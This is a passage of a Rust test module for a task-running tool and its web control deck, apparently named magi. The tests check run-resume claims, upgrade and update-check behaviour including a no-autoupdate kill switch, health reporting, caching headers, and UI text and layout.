7649 assert!(err.contains("stop it first"), "{err}");
7650 }
7651
7652 #[test]
7653 fn a_run_cannot_be_resumed_twice_at_once() {
7654 let home = TempDir::new().expect("temp home");
7655 let ui = Ui::new(
7656 Queue::at(home.path().join("queue")),
7657 Questions::at(home.path().join("questions")),
7658 Talks::at(home.path().join("talks")),
7659 home.path().join("runs"),
7660 home.path().to_path_buf(),
7661 PathBuf::from("/repo"),
7662 )
7663 .with_worktrees_root(home.path().join("wt"));
7664 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7665 let again = ui.begin_resume("20260901-000000-once");
7666 assert!(again.is_err(), "a second tap must not start a second graph");
7667 drop(first);
7668 assert!(
7669 ui.begin_resume("20260901-000000-once").is_ok(),
7670 "and the claim is released when the attempt ends"
7671 );
7672 }
7673
7674 #[test]
7675 fn talk_thinking_tracks_only_its_held_turn_claim() {
7676 let home = TempDir::new().expect("temp home");
7677 let ui = Ui::new(
7678 Queue::at(home.path().join("queue")),
7679 Questions::at(home.path().join("questions")),
7680 Talks::at(home.path().join("talks")),
7681 home.path().join("runs"),
7682 home.path().to_path_buf(),
7683 PathBuf::from("/repo"),
7684 )
7685 .with_worktrees_root(home.path().join("wt"));
7686 let id = "20260901-000000-once";
7687
7688 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7689 let turn = ui.begin_talk_turn(id).expect("claim turn");
7690 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7691 assert!(
7692 !ui.is_thinking("20260901-000000-other"),
7693 "one talk's turn does not make another talk busy"
7694 );
7695 drop(turn);
7696 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7697 }
7698
7699 #[tokio::test]
7700 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7701 let fx = Fixture::start().await;
7702 let mut beat = crate::daemon::Status::new();
7706 beat.pid = 4321;
7707 beat.updated_at = jiff::Timestamp::now();
7708 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7709 .expect("publish a heartbeat");
7710
7711 let res = fx.post("/api/upgrade", None).await;
7712 assert_eq!(res.status, 409);
7713 let err = res.json()["error"].as_str().unwrap().to_owned();
7714 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7715 assert!(err.contains("old one against the same queue"), "{err}");
7716 }
7717
7718 #[test]
7725 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7726 assert!(!should_spawn_recheck(&crate::config::Update {
7727 mode: UpdateMode::Off,
7728 interval: None,
7729 }));
7730
7731 unsafe {
7734 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7735 }
7736 let killed = should_spawn_recheck(&crate::config::Update {
7737 mode: UpdateMode::Notify,
7738 interval: None,
7739 });
7740 unsafe {
7741 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7742 }
7743 assert!(
7744 !killed,
7745 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7746 one-time startup check"
7747 );
7748
7749 assert!(should_spawn_recheck(&crate::config::Update {
7750 mode: UpdateMode::Notify,
7751 interval: None,
7752 }));
7753 }
7754
7755 #[test]
7761 fn recheck_poll_period_tracks_a_short_configured_interval() {
7762 let short = crate::config::Update {
7763 mode: UpdateMode::Notify,
7764 interval: Some("1m".to_owned()),
7765 };
7766 let period = recheck_poll_period(&short);
7767 assert!(
7768 period <= Duration::from_secs(30),
7769 "a one-minute interval must wake the task far sooner than the \
7770 default ceiling, or the deck would not notice within the \
7771 interval the operator configured: got {period:?}"
7772 );
7773
7774 let default = crate::config::Update {
7775 mode: UpdateMode::Notify,
7776 interval: None,
7777 };
7778 assert_eq!(
7779 recheck_poll_period(&default),
7780 UPDATE_RECHECK_POLL_MAX,
7781 "the default day-long interval should poll at the (capped) \
7782 ceiling rather than needlessly often"
7783 );
7784 }
7785
7786 #[test]
7794 fn recheck_skips_the_network_before_the_interval_elapses() {
7795 let dir = TempDir::new().expect("temp dir");
7796 let path = dir.path().join("state.json");
7797 let state = kaishin::UpdateCheckState {
7798 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7799 last_known_latest: None,
7800 last_known_url: None,
7801 };
7802 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7803
7804 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7805 assert!(
7806 !update_recheck_due(&checker, None),
7807 "a check made moments ago must not be repeated before the \
7808 configured interval elapses"
7809 );
7810 }
7811
7812 #[test]
7818 fn recheck_defers_to_an_upgrade_already_in_flight() {
7819 let dir = TempDir::new().expect("temp dir");
7820 let path = dir.path().join("state.json");
7821 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7822 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7823
7824 assert!(
7825 !update_recheck_due(&checker, Some(&progress)),
7826 "a recheck must not run while an upgrade this deck started is \
7827 still moving"
7828 );
7829 }
7830
7831 #[tokio::test]
7832 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7833 unsafe {
7845 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7846 }
7847 let fx = Fixture::start().await;
7848 let res = fx.post("/api/upgrade", None).await;
7849 unsafe {
7850 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7851 }
7852 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7853 let body = res.json();
7854 assert!(body["to"].is_null(), "there was no release to move to");
7855 assert!(body["parked"].is_null(), "and nothing was parked");
7856 assert!(
7857 body["detail"]
7858 .as_str()
7859 .unwrap()
7860 .contains("disabled by MAGI_NO_AUTOUPDATE"),
7861 "{body:?}"
7862 );
7863 }
7864
7865 #[tokio::test]
7866 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7867 let repo = TempDir::new().expect("repo dir");
7883 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7884 .expect("write magi.toml");
7885 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7886
7887 let res = fx.post("/api/upgrade", None).await;
7893 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7894 let body = res.json();
7895 assert!(body["to"].is_null(), "there was no release to move to");
7896 assert!(body["parked"].is_null(), "and nothing was parked");
7897 assert!(
7898 body["detail"]
7899 .as_str()
7900 .unwrap()
7901 .contains("nothing restarted"),
7902 "{body:?}"
7903 );
7904 }
7905
7906 #[tokio::test]
7907 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7908 let repo = TempDir::new().expect("repo dir");
7913 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7914 .expect("write magi.toml");
7915 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7916
7917 let health = fx.get("/api/health").await.json();
7918 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7919 assert_eq!(
7920 health["update"]["available"], false,
7921 "checking is off, which reads as \"unknown\", not \"none\""
7922 );
7923 assert!(health["update"]["to"].is_null());
7924 assert!(
7925 health["upgrade"].is_null(),
7926 "nothing has ever asked this deck to upgrade"
7927 );
7928 }
7929
7930 #[tokio::test]
7931 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7932 let fx = Fixture::start().await;
7933 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7934
7935 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7936 progress.parked_run = Some("20260905-000000-cd51".to_owned());
7937 progress.advance(crate::updater::Stage::Parking);
7938 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7939
7940 let health = fx.get("/api/health").await.json();
7941 assert_eq!(health["upgrade"]["stage"], "parking");
7942 assert_eq!(health["upgrade"]["from"], "0.5.1");
7943 assert_eq!(health["upgrade"]["to"], "0.5.2");
7944 let waiting_on = health["upgrade"]["waiting_on"]
7945 .as_str()
7946 .expect("waiting_on is set while parking a known run");
7947 assert!(waiting_on.contains("cd51"), "{waiting_on}");
7948 assert!(waiting_on.contains("implementing"), "{waiting_on}");
7949 }
7950
7951 #[tokio::test]
7952 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7953 let fx = Fixture::start().await;
7954 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7955 progress.advance(crate::updater::Stage::Done);
7956 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7957
7958 let health = fx.get("/api/health").await.json();
7959 assert_eq!(health["upgrade"]["stage"], "done");
7960 assert!(
7961 health["upgrade"]["waiting_on"].is_null(),
7962 "nothing to wait on once it is done"
7963 );
7964 }
7965
7966 #[tokio::test]
7967 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7968 let home = TempDir::new().expect("temp home");
7969 let runs = home.path().join("runs");
7970 std::fs::create_dir_all(&runs).expect("runs dir");
7971 let ui = Ui::new(
7972 Queue::at(home.path().join("queue")),
7973 Questions::at(home.path().join("questions")),
7974 Talks::at(home.path().join("talks")),
7975 runs,
7976 home.path().to_path_buf(),
7977 PathBuf::from("/repo/magi"),
7978 )
7979 .with_launch(launch_idle);
7980 let looping = ui.looping();
7981 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7982 .await
7983 .expect("bind loopback");
7984 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7985
7986 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7987 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
7988
7989 hand_over(home.path(), &looping, served, || Ok(()))
7990 .await
7991 .expect("hand over");
7992
7993 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
7994 assert_eq!(
7995 after.stage,
7996 crate::updater::Stage::Restarting,
7997 "hand_over owns the record through parking and up to restarting; \
7998 the successor is what finishes it"
7999 );
8000 }
8001
8002 #[test]
8003 fn the_upgrade_button_arms_before_it_restarts_anything() {
8004 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8007 assert!(APP_JS.contains("Replace the binary and restart?"));
8008 assert!(APP_JS.contains("function confirmed("));
8009 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8014 assert!(
8018 APP_JS.contains("Parking, then restarting"),
8019 "the button says what it is waiting for"
8020 );
8021 assert!(APP_JS.contains("if (!out.to)"));
8024 }
8025
8026 #[test]
8027 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8028 assert!(
8029 APP_JS.contains("state.health.version"),
8030 "the operator wants to know what is running even with nothing newer"
8031 );
8032 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8033 }
8034
8035 #[test]
8036 fn the_upgrade_button_names_its_destination() {
8037 assert!(
8038 APP_JS.contains("`Update to ${update.to}`"),
8039 "pressing the button should not be a surprise about what it moves to"
8040 );
8041 }
8042
8043 #[test]
8044 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8045 for stage in ["downloading", "replaced", "parking", "restarting"] {
8046 assert!(
8047 APP_JS.contains(&format!("\"{stage}\"")),
8048 "the phone must be able to tell {stage} apart from the others"
8049 );
8050 }
8051 assert!(APP_JS.contains(".waiting_on"));
8052 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8057 assert!(APP_JS.contains("reconnects on its own"));
8058 }
8059
8060 #[test]
8061 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8062 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8071 ..APP_JS.find("function upgrade(").expect("upgrade")];
8072 assert!(
8073 !body.contains(
8074 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
8075 ),
8076 "a failed upgrade must not take the whole strip over the way it used to"
8077 );
8078 assert!(
8079 body.contains("upgradeFailNote"),
8080 "the failure has to reach the loop's own note instead"
8081 );
8082 assert_eq!(
8086 body.matches("upgradeFailNote].filter(Boolean).join")
8087 .count(),
8088 2,
8089 "both loop-why writers (quiet and control) must fold the note in"
8090 );
8091 }
8092
8093 #[test]
8094 fn an_overdue_upgrade_eventually_asks_for_a_human() {
8095 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8098 assert!(APP_JS.contains("function upgradeOverdue("));
8099 }
8100
8101 #[test]
8102 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8103 assert!(
8104 APP_JS.contains("Updated to ${upgradeInfo.to"),
8105 "the operator who asked for the restart wants to know it worked"
8106 );
8107 }
8108
8109 #[test]
8110 fn an_error_is_visible_from_where_the_button_is() {
8111 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8116 ..APP_CSS.find(".alert-text").expect(".alert-text")];
8117 assert!(
8118 alert.contains("position: fixed"),
8119 "an error about the thing under your thumb has to be visible from \
8120 where your thumb is: {alert}"
8121 );
8122 assert!(
8123 alert.contains("z-index: 25"),
8124 "above the dock (20) and the run-actions FAB (15), so neither \
8125 buries it: {alert}"
8126 );
8127 assert!(
8128 alert.contains("var(--tap)"),
8129 "and clear of the dock and the home indicator: {alert}"
8130 );
8131 assert!(
8134 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8135 "the FAB's column stays free: {alert}"
8136 );
8137 }
8138
8139 #[tokio::test]
8140 async fn an_older_attempt_says_what_replaced_it() {
8141 let fx = Fixture::start().await;
8142 let q = fx.queue();
8143 let runs = fx.runs();
8144 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8145 write_run(&runs, first, RunStatus::Stalled);
8146 write_run(&runs, second, RunStatus::Blocked);
8147
8148 let mut t = Task::new(
8149 "one task".to_owned(),
8150 "do it".to_owned(),
8151 PathBuf::from("/repo"),
8152 Source::Human,
8153 );
8154 t.runs = vec![first.to_owned(), second.to_owned()];
8155 q.put(&mut t).expect("put");
8156
8157 let rows = fx.get("/api/runs").await.json();
8161 let by = |short: &str| -> Value {
8162 rows.as_array()
8163 .unwrap()
8164 .iter()
8165 .find(|r| r["short"] == short)
8166 .cloned()
8167 .unwrap_or(Value::Null)
8168 };
8169 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
8170 assert!(
8171 by("bbbb")["superseded_by"].is_null(),
8172 "the latest attempt is not superseded by anything"
8173 );
8174 assert!(APP_JS.contains("run.superseded_by"));
8176 assert!(APP_JS.contains("Superseded by"));
8177 }
8178
8179 #[tokio::test]
8180 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8181 let fx = Fixture::start().await;
8182 let js = fx.get("/app.js").await;
8188 assert_eq!(js.status, 200);
8189 let tag = js
8190 .header("etag")
8191 .expect("an etag to revalidate against")
8192 .to_owned();
8193 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8194 assert_eq!(
8195 js.header("cache-control"),
8196 Some("no-cache, must-revalidate"),
8197 "the phone has to ask every time"
8198 );
8199
8200 let again = fx
8203 .get_with("/app.js", &[("if-none-match", tag.as_str())])
8204 .await;
8205 assert_eq!(
8206 again.status, 304,
8207 "a deck it already has costs one round trip"
8208 );
8209 assert!(again.body.is_empty(), "304 carries no body");
8210
8211 let weak = fx
8214 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8215 .await;
8216 assert_eq!(weak.status, 304);
8217 let stale = fx
8218 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8219 .await;
8220 assert_eq!(stale.status, 200, "an older build must be replaced");
8221 assert!(stale.body.contains("renderRunActions"));
8222 }
8223
8224 #[test]
8225 fn the_deck_never_sends_the_operator_to_a_terminal() {
8226 assert!(
8229 !APP_JS.contains("Run `magi fold` first"),
8230 "the deck must offer the fold, not prescribe a shell command"
8231 );
8232 assert!(APP_JS.contains("foldRun:"));
8233 assert!(APP_JS.contains("resumeRun:"));
8234 assert!(APP_JS.contains("renderRunActions"));
8235
8236 assert!(APP_JS.contains("armedFold"));
8238 assert!(APP_JS.contains("Yes, fold worktrees"));
8239
8240 assert!(APP_JS.contains("can no longer be resumed"));
8243 }
8244
8245 #[test]
8246 fn a_finished_run_explains_itself_with_its_own_last_line() {
8247 assert!(
8253 !APP_JS.contains("collapsed on agent quota"),
8254 "a stall must not be explained by a cause the deck did not check"
8255 );
8256 assert!(
8257 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8258 "and a block must not offer a guess with an `or` in it"
8259 );
8260
8261 assert!(
8265 APP_JS.contains("setText(r.event, run.event || \"\")"),
8266 "the run's last line is rendered unconditionally"
8267 );
8268 assert!(
8269 !APP_JS.contains("moving && run.event"),
8270 "and never gated on the run still moving"
8271 );
8272
8273 assert!(APP_JS.contains("lost to quota"));
8275 }
8276
8277 #[test]
8299 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
8300 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
8301 let shapes_body_start =
8302 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
8303 let shapes_close = APP_JS[shapes_body_start..]
8304 .find("].map(")
8305 .expect("the shape list is closed by its done-computing .map(...)")
8306 + shapes_body_start;
8307 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
8308
8309 let mut shapes: Vec<(bool, String)> = Vec::new();
8310 for entry in shapes_src.split('{').skip(1) {
8311 let waiting = entry.contains("waiting: true");
8312 let status_at =
8313 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
8314 let status_end = entry[status_at..]
8315 .find('"')
8316 .expect("the status string is closed")
8317 + status_at;
8318 shapes.push((waiting, entry[status_at..status_end].to_string()));
8319 }
8320 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
8321
8322 let done_rule_marker = "done: !";
8326 let done_rule_at = APP_JS[shapes_close..]
8327 .find(done_rule_marker)
8328 .expect("the done rule follows the shape list")
8329 + shapes_close
8330 + done_rule_marker.len();
8331 let includes_at = APP_JS[done_rule_at..]
8332 .find(".includes(shape.status)")
8333 .expect("the done rule ends in .includes(shape.status)")
8334 + done_rule_at;
8335 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
8336 .trim()
8337 .trim_start_matches('[')
8338 .trim_end_matches(']')
8339 .split(',')
8340 .map(|s| s.trim().trim_matches('"'))
8341 .filter(|s| !s.is_empty())
8342 .collect();
8343
8344 let shapes: Vec<(bool, String, bool)> = shapes
8345 .into_iter()
8346 .map(|(waiting, status)| {
8347 let done = !not_done.contains(&status.as_str());
8348 (waiting, status, done)
8349 })
8350 .collect();
8351
8352 fn run_section(waiting: bool, status: &str) -> &'static str {
8356 if waiting {
8357 return "waiting";
8358 }
8359 match status {
8360 "merged" | "ready" => "landed",
8361 "stalled" | "blocked" | "failed" => "ended",
8362 _ => "flight",
8363 }
8364 }
8365
8366 fn filter_matches(filter_key: &str, waiting: bool, done: bool) -> bool {
8369 match filter_key {
8370 "active" => !done,
8371 "flight" => !done && !waiting,
8372 "waiting" => waiting,
8373 "done" => done,
8374 "all" => true,
8375 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
8376 }
8377 }
8378
8379 let compatible = |section: &str, filter_key: &str| {
8380 shapes.iter().any(|(waiting, status, done)| {
8381 run_section(*waiting, status) == section
8382 && filter_matches(filter_key, *waiting, *done)
8383 })
8384 };
8385
8386 let expected = [
8391 ("waiting", [true, false, true, true, true]),
8392 ("flight", [true, true, false, false, true]),
8393 ("landed", [false, false, false, true, true]),
8394 ("ended", [false, false, false, true, true]),
8395 ];
8396 let filter_keys = ["active", "flight", "waiting", "done", "all"];
8397
8398 for (section, wants) in expected {
8399 for (filter_key, want) in filter_keys.iter().zip(wants) {
8400 assert_eq!(
8401 compatible(section, filter_key),
8402 want,
8403 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
8404 );
8405 }
8406 }
8407
8408 assert!(
8411 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
8412 );
8413 assert!(APP_JS.contains(
8414 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
8415 ));
8416 assert!(APP_JS.contains(
8417 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
8418 ));
8419 }
8420}